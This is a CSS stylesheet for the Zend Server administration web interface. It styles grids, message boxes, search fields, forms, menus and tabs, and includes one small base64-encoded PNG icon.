.main-apps-btn1 {
    background: url('/ZendServer/images/apps-btn1.png');
}

.active.main-apps-btn1,
.main-apps-btn1:hover {
    background-image: url('/ZendServer/images/apps-btn1-over.png');
    cursor: pointer;
}

.main-apps-btn2 {
    background-image: url('/ZendServer/images/apps-btn2.png');
}

.active.main-apps-btn2,
.main-apps-btn2:hover {
    background-image: url('/ZendServer/images/apps-btn2-over.png');
    cursor: pointer;
}

.main-apps-btn3 {
    background-image: url('/ZendServer/images/apps-btn3.png');
}

.active.main-apps-btn3,
.main-apps-btn3:hover {
    background-image: url('/ZendServer/images/apps-btn3-over.png');
    cursor: pointer;
}

.grid-action-bar {
    clear: both;
    height: 37px;
    /* padding-left: 10px; */
    /* padding-right: 10px; */
    color: #fff;
    margin-top: 20px;
    margin-bottom: 4px;
}

#persistant-wrapper .grid-action-bar {
    margin-top: 0;
}

table.zgrid {
    border-top: 2px solid #0171A1;
}

.grid-action-bar-seperator {
    background: #afb3b6;
    float: right;
    width: 1px;
    height: 21px;
    margin: 5px 0;
}

.grid-action-bar h2 {
    color: #fff;
    float: left;
    font-size: 13px;
    font-weight: bold;
    height: 100%;
    line-height: 37px;
    margin-left: 15px;
}

.grid-action-bar .dropbox-container {
    margin-right: 10px;
    margin-top: 5px;
}

.grid-action-bar .dropbox-container select {
	/* background-color: transparent; */
}

.grid-action-bar .grid-action-bar-item {
    display: inline-block;
    margin-right: 5px;
}

.tableRow_app_icon {
    max-height: 23px;
    max-width: 23px;
    vertical-align: middle;
}



.wizard-help-icon {
    position: absolute;
    top: -2px;
    right: -40px;
    display: block;
    height: 30px;
    width: 30px;
    margin: 2px;
    background: #FCFCFC;
    border: 1px solid #c7cacc;
    -moz-border-radius: 3px;
    -khtml-border-radius: 3px;
    -webkit-border-radius: 3px;
    border-radius: 3px;
    -webkit-box-shadow: 0px 9px 17px 0px rgba(50, 50, 50, 0.47);
    -moz-box-shadow: 0px 9px 17px 0px rgba(50, 50, 50, 0.47);
    box-shadow: 0px 9px 17px 0px rgba(50, 50, 50, 0.47);
}

.wizard-help-icon:before {
    content: "\e195";
    font: 24px/1em 'Glyphicons Regular';
    font-style: normal;
    font-size: 20px;
    color: #2774a0;
    float: left;
    margin: 5px;
}

.gray {
    color: #808080;
}

.general-details-top {
    height: 140px;
    background: #fff;
    border: 0;
    margin-bottom: 10px;
}

.general-details-top.event {height: auto;}
.general-details-top.event *{
	box-sizing:border-box;
}
.general-details-top.event>div{
	display:inline-block;
	width: 33%;
	border-bottom: 1px solid #E3E3E3;
	padding-bottom: 5px;
	margin-bottom: 5px;
}
.general-details-top.event>div>div{
	display:inline-block;
	vertical-align: middle;
}
.general-details-top.event>div>:first-child {
	width: 33%;
	color: #43AFE0;
	font-size: 12px;
	font-weight: bold;
	padding-right: 10px;
	text-align: right;
	white-space: nowrap;
	overflow: hidden;
}
.general-details-top.event>div>:last-child {
	width: 67%;
	height: 18px;
}
.general-details-top h2 {
    margin-left: 10px;
    margin-top: 5px;
    font-size: 18px;
    font-weight: normal;
    color: #43AFE0;
}

.general-details-top ul {
    list-style-type: none;
    padding: 0;
}

.general-details-top ul li {
    display: inline-block;
    width: 33%;
    height: 90px;
}

.general-details-top table {
    table-layout: fixed;
}

.general-details-top table tr {
    border-bottom: 1px solid #E3E3E3;
}

.general-details-top table tr td:first-child {
    width: 100px;
    color: #43AFE0;
}

.general-details-top tr td {
    padding: 2px 10px;
    color: #000;
    padding: 0;
    word-wrap: break-word;
    line-height: 28px;
    font-size: 14px;
}

.general-details-top table tr td a {
    color: #000;
}

.grid-action-bar .action-buttons {
    margin-top: 4px;
    margin-left: 10px;
}

.action-text-buttons {
    list-style-type: none;
    padding: 0;
    font-size: 0;
    margin: 0 0 0 10px;
    padding-top: 4px;
}

.action-text-buttons li a {
    text-decoration: none;
    outline: 0;
    display: block;
    color: #000;
}

.action-text-buttons li.active,
.action-text-buttons li:hover {
    margin-bottom: -1px;
}

.box-list-wrapper {
    width: 100%;
    overflow: auto;
    height: 100%;
    background: #ededed;
    border: 1px solid #E3E3E3;
    border-right: 0;
}

.flat-list,
.new-flat-list
{
    list-style-type: none;
    padding: 0;
    margin: 0;
}

.flat-list li {
    display: inline;
}

.new-flat-list li {
    display: inline-block;
}

.box-list {
    list-style-type: none;
    padding: 0;
    margin: 0;
}

.box-list li {
    border-bottom: 1px solid #cecece;
    padding: 15px;
    line-height: 22px;
}

.box-list .header-wrapper h2 {
    font-size: 16px;
    line-height: 22px;
}

.box-list .header-wrapper a {
    color: #49819A;
    text-decoration: underline;
}

.box-list li:hover,
.box-list .active,
.box-list .hover {
    background: #fff;
    color: #000;
    cursor: pointer;
    border-right: 0;
}

.box-list li:hover {
    background: #DADADA;
}

.box-list li:hover.active {
    background: #fff;
}

.box-list .active h2,
.box-list .hover h2 {
    color: #000;
}

.box-list .active a,
.box-list .hover a {
    color: #000;
}

.box-list .issues-count {
    background: #4992a6;
}

.box-list .active .issues-count,
.box-list .hover .issues-count {
    background: #bfd4e1;
    color: #004260;
}

.ellipsis {
    width: 100%;
    overflow: hidden;
    word-wrap: break-word;
}

.ellipsis_wrp {
    white-space: nowrap;
    text-overflow: ellipsis;
    overflow: hidden;
    display: inline-block;
}

.select-all {
    margin: 0 5px;
    font-size: 12px;
    cursor: pointer;
}

.select-all:hover {
    text-decoration: underline;
}

.zgrid td.no-padding {
    padding: 0px;
}

.zgrid_btn {
    width: 32px;
    height: 22px;
    float: right;
    margin: 5px 2px;
}

.sections {
    padding: 0;
    margin: 0;
}

.section {
    display: inline-block;
    vertical-align: top;
    margin: 0 20px;
    padding: 0;
}

.section ul {
    padding: 0;
    margin: 5px 0;
}

/* SERVERS */

#joinclusterform dd,
#addserverform dd {
    margin: 8px 0;
}

/* END SERVERS */

input:-webkit-input-placeholder {
    color: #ADA9A1 !important;
}

input:-moz-placeholder {
    color: #ADA9A1 !important;
}

input:-ms-input-placeholder {
    color: #ADA9A1 !important;
}

input:not([type]),
input[type="text"],
input[type="number"],
input[type="url"],
input[type="radio"],
input[type="password"],
input[type="email"] {
    color: #000;
    font-size: 14px;
    padding: 0 3px;
    width: auto;
    height: 25px;
    border: 1px solid #ccc;
}

input[type="radio"],
input[type="checkbox"] {
    height: auto;
}

.graph-no-data {
    width: 98%;
    height: 148px;
    background: #fff url('/ZendServer/images/no-data-graph-bkg.png') top left repeat-x;
    position: absolute;
    top: 40px;
    left: 1%;
    padding-bottom: 32px;
}

.graph-no-data h3 {
    margin-top: 67px;
    text-align: center;
    color: gray;
}
/*used as a <span class="closeChar"> for "x" to close */
.closeChar {
    color: black;
    text-decoration: none;
    cursor: pointer;
    font-size: 13px;
    font-weight: 900;
    opacity: 0.4;
    filter: alpha(opacity=40);
}

.closeChar:hover {
    color: black;
    text-decoration: none;
    cursor: pointer;
    opacity: 1;
    filter: alpha(opacity=100);
}

.zend-form-table ul {
    margin: 0;
    padding: 0;
}

.JobsTable .content {
    overflow: auto;
}

.zgrid .tableDescRow .extDescription td {
    padding: 15px;
}

.restart-server-note {
    padding-left: 25px;
    margin-top: 7px;
    font-style: italic;
    background: url('/ZendServer/images/apps-status-warning.png') left 2px no-repeat;
}

.restart-server-box {
    width: 400px;
    font-size: 15px;
}

.restart-server-box p {
    margin: 5px 0 5px 0;
}

/* autocompleter */
div.mui-autocompleter {
	/*
    left: 0px;
	position: absolute;
    top: 0px;
	*/
    position: absolute;
    z-index: 100;
}

div.mui-autocompleter div.mui-autocompleter-menu {
    -webkit-border-radius: 6px;
    background: #f5f5f5;
    border: 1px solid #e4e4e4;
    border-radius: 6px;
    max-height: 130px;
    overflow-y: auto;
    width: 300px;
}

div.mui-autocompleter div.mui-autocompleter-menu ul {
    list-style: none;
    padding: 0;
    margin: 0;
}

div.mui-autocompleter div.mui-autocompleter-menu ul li {
    border-bottom: 1px solid #ebebeb;
    border-top: 1px solid #ffffff;
    color: #9f9f9f;
    line-height: 20px;
    padding: 3px;
}

div.mui-autocompleter div.mui-autocompleter-menu ul li:first-child {
    border-top: 0px none;
}

div.mui-autocompleter div.mui-autocompleter-menu ul li:last-child {
    border-bottom: 0px none;
}

div.mui-autocompleter div.mui-autocompleter-menu ul li.active,
div.mui-autocompleter div.mui-autocompleter-menu ul li:hover {
    background: #fff;
    color: #434343;
}
/* autocompleter end */

.message-box {
    border-radius: 10px 10px 10px 10px;
    clear: both;
    margin: 10px 0;
    padding: 11px 5px 5px 40px;
    font-weight: bold;
    font-size: 11px;
    min-height: 22px;
}

.message-box.warn {
    background: #f8efca url('/ZendServer/images/error-message-icon.png') 7px center no-repeat;
    border: 1px solid #c6a624;
    color: #c6a624;
}

.message-box.error {
    background: #ffeee5 url('/ZendServer/images/error-message-icon.png') 7px center no-repeat;
    border: 1px solid #ff5400;
    color: #ff5400;
}

.message-box.ok {
    background: #edf7e5 url('/ZendServer/images/ok-message-icon.png') 7px center no-repeat;
    border: 1px solid #50b404;
    color: #50bb404;
}

.message-box.info {
    background: #FFF7C9;
    border: 1px solid #CFC799;
    color: #50bb404;
}

/* text high light class */
.highlight1 {
    background-color: #FFFF00;
    color: black;
}

.mask {
    position: absolute;
    opacity: 0.9;
    filter: alpha(opacity=90);
    -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=90)";
    z-index: 999;
    background: #fff;
}

.z-search-box-icon-wrapper {
	display: inline-block;
	vertical-align: top;
	width: 30px;
}

div.searchBox {
    background: #fff;
    border: 1px solid #CECECE;
    line-height: 22px;
}

#filterBar div.searchBox,
.grid-action-bar div.searchBox {
    margin: 5px 4px 0;
    float: right;
    height: 25px;
    background: #fff;
    padding: 0 0 0 7px;
    border: 1px solid #CECECE;

    -moz-border-radius: 2px;
    -webkit-border-radius: 2px;
    -khtml-border-radius: 2px;
    border-radius: 2px;
}

#filterBar div.searchBox {
    margin-top: 7px;
    padding: 1px 7px;
}

div.searchBox .search {
    border: 0px;
    width: 120px;
    height: 18px;
    margin-top: 4px;
    padding: 0;
    font-size: 14px;
    font-weight: normal;
    background: transparent;
}

div.searchBox .search:disabled {
    background: #fff;
}

div.searchBox a.selectSearch {
    color: #9fadb3;
    height: 15px;
    width: 5px;
}

div.searchBox a.clearSearch {
    color: #9fadb3;
    float: right;
    height: 15px;
    width: 15px;
    margin: 0px 3px 0 6px;
    padding-left: 0;
}

a.clearSearch i.glyphicons:before, 
a.selectSearch i.glyphicons:before {
    font-size: 17px;
    color: #43AFE0;
    position: relative;
}

div.searchBox a.selectSearch:hover,
div.searchBox a.clearSearch:hover {
    text-decoration: none;
}

/*
div.searchBox .search:focus {
	width: 200px;
}
*/

#sendFeedbackBtn {
	/* position: absolute; */
	/* top: 1px; */
	/* right: 5px; */
	/* z-index: 10; */
	/* margin: 0; */
}

#developmentOnly {
    position: absolute;
    top: 5px;
    left: 5px;
    z-index: 10;
    width: 136px;
    height: 16px;
    display: block;
    background: url("/ZendServer/images/dev_only_top_bar_icon.png") left 2px no-repeat;
}

#sendFeedbackBtn > a {
    cursor: pointer;
    text-decoration: none;
}

#sendFeedbackBtn a i.glyphicons.glyphicons-headset::before {
    font-size: 13px;
    color: #ffa500;
    padding: 2px 0px 0 8px;
}
#sendFeedbackBtn a i.glyphicons.glyphicons-book-open::before {
    font-size: 13px;
    color: #ffa500;
    padding: 2px 0px 0 8px;
}

.marketing-content {
    position: relative;
}


.marketing-links-box {
    background: #edf5f8;
    border: 1px solid #444;
    border-radius: 8px 8px 8px 8px;
    font-family: 'Open Sans', sans-serif;
    font-size: 12px;
    font-weight: bold;
    height: 100px;
    left: 480px;
    position: absolute;
    top: 115px;
    width: 195px;
    z-index: 9;
    padding-top: 15px;
    padding-left: 15px;
}

.marketing-links-box.users {
    height: 126px;
    left: 580px;
    top: 78px;
    width: 200px;
}

.marketing-links-box.code-tracing {
    left: 586px;
    top: 93px;
    height: 110px;
}

.marketing-links-box div {
    clear: both;
}

.marketing-links-box img {
    float: left;
}

.marketing-links-box a {
    float: left;
}

.marketing-links-box a.video-link {
    margin-top: 3px;
}

.marketing-links-box.page-cache {
    height: 124px;
    left: 476px;
    top: 83px;
    width: 215px;
    z-index: 9;
}

.marketing-links-box.import-export {
    height: 122px;
    left: 600px;
    top: 80px;
    width: 233px;
}

.marketing-links-box a {
    padding-left: 8px;
}

.marketing-links-box div {
    padding-top: 7px;
}

input:not(.full-opacity)[type=checkbox][disabled] {
    opacity: 0.5;
}

label.disabled {
    color: gray;
}

.limitedMessage {
    height: 33px;
    line-height: 33px;
    padding-left: 12px;
    margin-top: -18px;
}

.limitedMessage.odd {
    background: #F3F3F3;
}

.limitedMessage:hover {
    background: #dceaed;
    cursor: pointer;
}

.warningTopMessage {
    text-align: left;
    line-height: 1.5em;
    padding-left: 35px;
    color: #425963;
    padding-top: 5px;
    padding-bottom: 5px;
    background: #FFF7C9 url("/ZendServer/images/error-message-icon.png") left 10px top 4px no-repeat;
}

.warningIcon {
    display: inline-block;
    width: 18px;
    height: 19px;
    background: transparent url("/ZendServer/images/error-message-icon.png") left top no-repeat;
    vertical-align: middle;
}

.warningTopMessage.warningTopLeftMessage {
    background-position-x: 7px;
}

.warningTopMessage.warningTopMessageBorderedForm {
    margin-left: -15px;
	/* padding-left: 35px; */
}

.limitedTopMessage {
    text-align: left;
    line-height: 1.5em;
    padding-left: 30px;
    color: #425963;
    padding-top: 5px;
    padding-bottom: 5px;
    background: #FFF7C9 url("/ZendServer/images/info.png") left 10px top 6px no-repeat;
}

div#horizontal {
    overflow: hidden;
    width: 145px;
    border-top: 0;
    height: 100px;
    margin-bottom: 20px;
}

div.carousel p {
    width: 145px;
    height: 100px;
    padding: 0px;
    margin: 0px;
    font-size: 50px;
    line-height: 100px;
    color: #000;
    text-align: center;
}

div#horizontal p {
    float: left;
}

div#horizontal div.inner {
    width: 1740px;
}

.graph-nav-btn {
    width: 25px;
    float: left;
    cursor: pointer;
    height: 210px;
    line-height: 210px;
}

#prev-graph {
    background: url("/ZendServer/images/arrow-slider-left.png") center right no-repeat;
}

#prev-graph:hover {
    background: url("/ZendServer/images/arrow-slider-left-hover.png") center right no-repeat;
}

#next-graph {
    background: url("/ZendServer/images/arrow-slider-right.png") center left no-repeat;
}

#next-graph:hover {
    background: url("/ZendServer/images/arrow-slider-right-hover.png") center left no-repeat;
}

#graph-page-welcome {
    background: #ffffff;
 /* Old browsers */
    background: -moz-linear-gradient(top,  #ffffff 0%, #e8e8e8 100%);
 /* FF3.6+ */
    background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#ffffff), color-stop(100%,#e8e8e8));
 /* Chrome,Safari4+ */
    background: -webkit-linear-gradient(top,  #ffffff 0%,#e8e8e8 100%);
 /* Chrome10+,Safari5.1+ */
    background: -o-linear-gradient(top,  #ffffff 0%,#e8e8e8 100%);
 /* Opera 11.10+ */
    background: -ms-linear-gradient(top,  #ffffff 0%,#e8e8e8 100%);
 /* IE10+ */
    background: linear-gradient(to bottom,  #ffffff 0%,#e8e8e8 100%);
 /* W3C */
    filter: "progid:DXImageTransform.Microsoft.gradient( startColorstr='#ffffff', endColorstr='#e8e8e8',GradientType=0 )";
 /* IE6-9 */
}

.subNavWrapper {
    display: none;
}

.subNavWrapper.active {
    display: block;
}

.default-server-message {
    padding-left: 25px;
    margin-top: 7px;
    font-style: italic;
    background: url('/ZendServer/images/apps-status-warning.png') left 2px no-repeat;
}

.map-chart h2 {
    position: absolute;
    top: 0;
    left: 40%;
 /* fallback of "calc" */
    left: calc(50% - 75px);
    margin: 10px 0;
    text-align: center;
    font-weight: normal;
    font-family: "Lucida Grande", "Lucida Sans Unicode", Verdana, Arial, Helvetica, sans-serif;
    font-size: 16px;
    color: #274b6d;
    z-index: 100;
    text-shadow: 0 0 5px #FFF;
}

.codeBlock {
    padding: 2px 4px;
    color: #d14;
    white-space: nowrap;
    background-color: #f7f7f9;
    border: 1px solid #e1e1e8;
    font-family: Monaco, Menlo, Consolas, "Courier New", monospace;
    font-size: 12px;
    -webkit-border-radius: 3px;
    -moz-border-radius: 3px;
    border-radius: 3px;
}

.progress-bar-wrapper {
    margin: 10px 0;
}

.progress-bar-wrapper progress {
    width: 70%;
    height: 18px;
    float: left;
}

.progress-bar-wrapper .progress-value {
    padding: 0px 5px;
    margin-left: 5px;
    font-size: 12px;
    color: #555;
    float: left;
}

.wizard-inner-error {
    padding-left: 25px;
    margin-top: 30px;
    width: initial;
    font-style: italic;
    background: url('/ZendServer/images/apps-status-warning.png') left 2px no-repeat;
}

input::-ms-clear {
    display: none;
}

.markdown-wrapper ul {
    list-style: initial;
}

.sslTest {
    padding: 40px 20px 20px 180px;
    margin: 20px;
    background: url('/ZendServer/images/thumb_up.png') left top no-repeat;
}

.sslTest h1 {
    font-size: 30px;
}

.sslTest p {
    margin: 20px 0;
    font-size: 16px;
    line-height: 24px;
}

.zdb-copy-img {
    background-image: url(data:image/png;base64,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);
    height: 16px;
    width: 16px;
    cursor: pointer;
    margin-left: 4px;
    background-position: 0px -16px;
    display: inline-block;
    vertical-align: -3px;
}

#user-role {
    float: left;
    color: #52aac0;
    font-weight: bold;
    margin-top: 12px;
    margin-right: 10px;
}

#user-role i.glyphicons::before {
    color: #52aac0;
    top: 3px;
    left: -4px;
}

.deploy-btn:before {
    content: "\e364";
}

.define-btn:before {
    content: "\e359";
}

.gallery-btn:before {
    content: "\e371";
}

.grid-action-bar-dark .timeRangeCalendarIcon:before,
.grid-action-bar-dark select,
.grid-action-bar-dark input,
.grid-action-bar-dark button {
    color: #3B3B3B;
}

.grid-action-bar-dark button:enabled:hover {
    color: #5F5F5F;
}

.grid-action-bar-dark button:enabled:active {
    color: #BABABA;
}

.grid-action-bar-dark button:disabled {
    color: #BABABA;
}

.account-menu-wrapper {
    min-width: 200px;
}

.account-menu-wrapper.extended {
    min-width: 250px;
}

.account-menu-wrapper>* {
    display: inline-block;
    line-height: 28px;
}

.account-menu-wrapper .logged-user {
    margin: 0 5px;
    text-transform: Capitalize;
}

.account-menu-wrapper .logout-btn {
    float: right;
}

.account-menu-wrapper .logout-btn a {
    background: #44AFE5;
	/* border: 1px solid #c6c6c6; */
    display: inline-block;
    padding: 0 10px;
    -webkit-border-radius: 2px;
    border-radius: 2px;
    color: #fff;
    text-decoration: none;
    line-height: 20px;
}

.logged-user i.glyphicons.user {
    padding: 0 25px;
}

.logged-user i.glyphicons.user::before {
    font-size: 17px;
    color: #666;
    top: 5px;
}

a.license-days {
    float: right;
    margin-right: 10px;
    height: 33px;
    border-bottom: 2px solid #FFA500;
    line-height: 33px;
    font-weight: bold;
    text-decoration: none;
    color: #000;
    font-size: 12px;
}

.license-data-cell {
    padding: 5px 10px 5px 50px; 
    color: #2774A0;
}

#summaryContent td:nth-child(2),
#deployment-set-installation td:nth-child(2),
.word-break-all {
    word-break: break-all;
}

#libraries_list_table .content {
    border-bottom: 5px solid #F8F8F8;
    border-radius: 5px;
}

span#jobqueue-service-warning:not(.hidden) {
    display: inline;
}

span#jobqueue-service-warning {
    color: rgb(214, 64, 64);
    margin-left: 20px;
    padding: 2px 15px 2px 30px;
    background: rgb(255, 255, 255);
    font-size: 12px;
    border-radius: 1px;
}

#jobqueue-service-warning i::before {
    line-height: 22px;
    font-size: 12px;
    margin-left: 10px;
    color: rgb(214, 64, 64);
}






.new-tabs li.selected.active {
    position: relative;
}

.new-tabs li.selected.active::after {
    content: " ";
    position: absolute;
    left: 0;
    right: 0;
    height: 1px;
    background: #fff;
    bottom: -2px;
    z-index: 1;
}

.new-tabs .settings-section {
    border: 1px solid #ddd;
    margin-top: 32px;
    margin-bottom: 40px;
}

#log_display.new-tabs, 
.log_display.new-tabs {
    width: 100%;
    margin: 0;
    padding: 0;
}

#log_display.new-tabs .log_display, 
.log_display.new-tabs .log_display {
    width: 100%;
    margin: -32px 0 10px 0;
    padding: 0;
}

[parent-menu] a {
    text-indent: 5px;
}

ul.plugin-types {
    margin: 0;
    padding: 0;
}

#add-new-queue-form-wrapper {
    padding-top: 20px;
    padding-left: 10px;
}

#add-new-queue-form-wrapper h2 {
    font-size: 1.5em;
}

#add-new-queue-form-wrapper .form-row {
    margin: 20px 0;
}

#add-new-queue-form-wrapper label {
    display: inline-block;
    width: 200px;
    vertical-align: top;
    font-weight: bold;
}

#add-new-queue-form-wrapper input, #add-new-queue-form-wrapper select {
    display: inline-block;
    vertical-align: top;
}

#add-new-queue-form-wrapper p {
    display: block;
    font-size: 0.9em;
    color: #888;
    font-weight: normal;
    margin-top: 2px;
}

#add-new-queue-form-wrapper input, #add-new-queue-form-wrapper select {
    width: 250px;
    font-size: 1em;
    border: 1px solid #AAA;
}

#add-new-queue-form-wrapper input[type="number"] {
    width: 60px;
}

.buttons-on-right {
    float: right;
    display: inline-block;
}

/* FORM (ZForm view helper) */

.settings-form-wrapper {
    padding-left: 10px;
    padding-bottom: 20px;
}

.settings-form-wrapper.bordered-form {
    padding-left: 15px;
    border: 1px solid #DDD;
}

.settings-form-wrapper .advanced-section-header {
    outline: none;
    border-top: 1px solid #CCC;
    padding-top: 4px;
}

.settings-form-wrapper form {
    width: auto;
}

.settings-form-wrapper h2 {
    font-size: 1.75em;
}

.settings-form-wrapper h3,
.reset-fieldset .settings-form-wrapper h3 {
    height: 34px;
    line-height: 20px;
    margin-top: 20px;
    padding-top: 20px;
    padding-left: 16px;
    font-size: 18px;
    font-weight: normal;
    color: #43AFE0;
    background: transparent !important;
    xborder-top: 1px solid #999;
}

.settings-form-wrapper section:first-child h3 {
    margin-top: 10px;
}

